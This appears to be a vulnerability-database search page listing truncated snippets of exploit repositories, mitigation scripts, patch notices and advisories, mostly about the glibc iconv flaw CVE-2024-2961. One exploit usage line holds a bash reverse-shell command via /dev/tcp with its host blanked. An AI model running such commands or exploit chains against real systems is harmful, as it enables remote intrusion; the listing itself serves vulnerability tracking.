CVE-2024-2961_poc

This repository does not have a README...

iconvfix

iconvfix Bash-скрипт для исправления уязвимости CVE-2024-2961 В настоящее время работает на Centos7. Без гарантий, не используйте на рабочих системах, это всего лишь внутренний помощник : Использование tsh ssh username@target sudo 'bash -s' iconvfix.sh...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Originally, CVE-2023–26326 required gadget chains to exploit it as a deserialization vulnerability. This method is no longer feasible on newer WordPress sites running on PHP 8+; however, by chaining with...

FIX-CVE-2024-2961

Quick and dirty shell script to mitigate CVE-2024-2961 on Ubuntu and likely other platforms run the shell script and that should be it. You may also need to alter the path for gconv configs Matt...

CVE-2024-2961

CVE-2024-2961 Uses CVE-2024-2961 to perform an arbitrary file read Usage Use with wrapwrap for maximum potency. usage: arbitrary-file-read.py -h -t TARGET -c CHAIN -ct CONTENTTYPE --prefix-len PREFIXLEN --suffix-len SUFFIXLEN options: -h, --help show this help message and exit -t TARGET, --target...

cve-2024-2961

cve-2024-2961 Custom version of https://sansec.io/downloads/cve-2024-2961.c Credit: https://github.com/ambionics/cnext-exploits https://github.com/absolutedesignltd/iconvfix...

CVE-2022-31626-CVE-2024-2961-CVE-2019-6977

CVE-2022-31626, CVE-2024-2961, CVE-2019-6977 Donate Support the maintenance of this project with PayPal or by scanning the QR code below. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized...

osTicketFileReadIntoRCE

CVE-2026-22200: osTicket Arbitrary File Read to RCE Full-chain exploit combining PHP filter chain injection with CVE-2024-2961 CNEXT for unauthenticated Remote Code Execution on vulnerable osTicket installations. Table of Contents Overview Vulnerability Details Attack Flow Features Installation...

Exploit for Out-of-bounds Write in Gnu Glibc

CVE-2024-2961 CNEXT XXE Channel Adaptation for Exploit Scrip...

ROOT-OS-DEBIAN-12-CVE-2022-2961 CVE-2022-2961 in linux - Patched by Root

Root has patched CVE-2022-2961 in the linux package for Root:Debian:12. Multiple fixed versions available...

ROOT-OS-UBUNTU-2404-CVE-2022-2961 CVE-2022-2961 in linux - Patched by Root

Root has patched CVE-2022-2961 in the linux package for Root:Ubuntu:24.04. Multiple fixed versions available...

ROOT-OS-UBUNTU-2204-CVE-2022-2961 CVE-2022-2961 in linux - Patched by Root

Root has patched CVE-2022-2961 in the linux package for Root:Ubuntu:22.04. Multiple fixed versions available...

ROOT-OS-DEBIAN-11-CVE-2022-2961 CVE-2022-2961 in linux - Patched by Root

Root has patched CVE-2022-2961 in the linux package for Root:Debian:11. Multiple fixed versions available...

Photon OS 5.0: Glibc PHSA-2024-5.0-91-0250

An update of the glibc package has been released. %NASLMINLEVEL 80900 C Tenable, Inc. The descriptive text and package checks in this plugin were extracted from VMware Security Advisory PHSA-2024-5.0-91-0250. The text itself is copyright C VMware, Inc. include'compat.inc'; if description...

Exploit for CVE-2024-2961

CVE-2026-22200: osTicket Arbitrary File Read to RCE...

CVE-2026-2961

A vulnerability has been found in D-Link DWR-M960 1.01.07. This affects the function sub4196C4 of the file /boafrm/formVpnConfigSetup of the component VPN Configuration Endpoint. The manipulation of the argument submit-url leads to stack-based buffer overflow. The attack is possible to be carried...

CVE-2026-2961

creationtimestamp| type| source ---|---|--- 2026-02-23 01:18:43+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mfiiamrbzf26 2026-02-23 01:19:43+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mfiicgh6n325 2026-02-23 06:00:37+00:00| seen|...

EUVD-2026-2961

There is a vulnerability in the Supermicro BMC firmware validation logic at Supermicro MBD-X12STW-F . An attacker can update the system firmware with a specially crafted image...

CVE-2019-2961

Vulnerability in the Oracle Solaris product of Oracle Systems component: SMF services & legacy daemons. The supported version that is affected is 11. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Orac...

TencentOS Server 3: glibc (TSSA-2024:0134)

The version of Tencent Linux installed on the remote TencentOS Server 3 host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the TSSA-2024:0134 advisory. Package updates are available for TencentOS Server 3 that fix the following vulnerabilities:...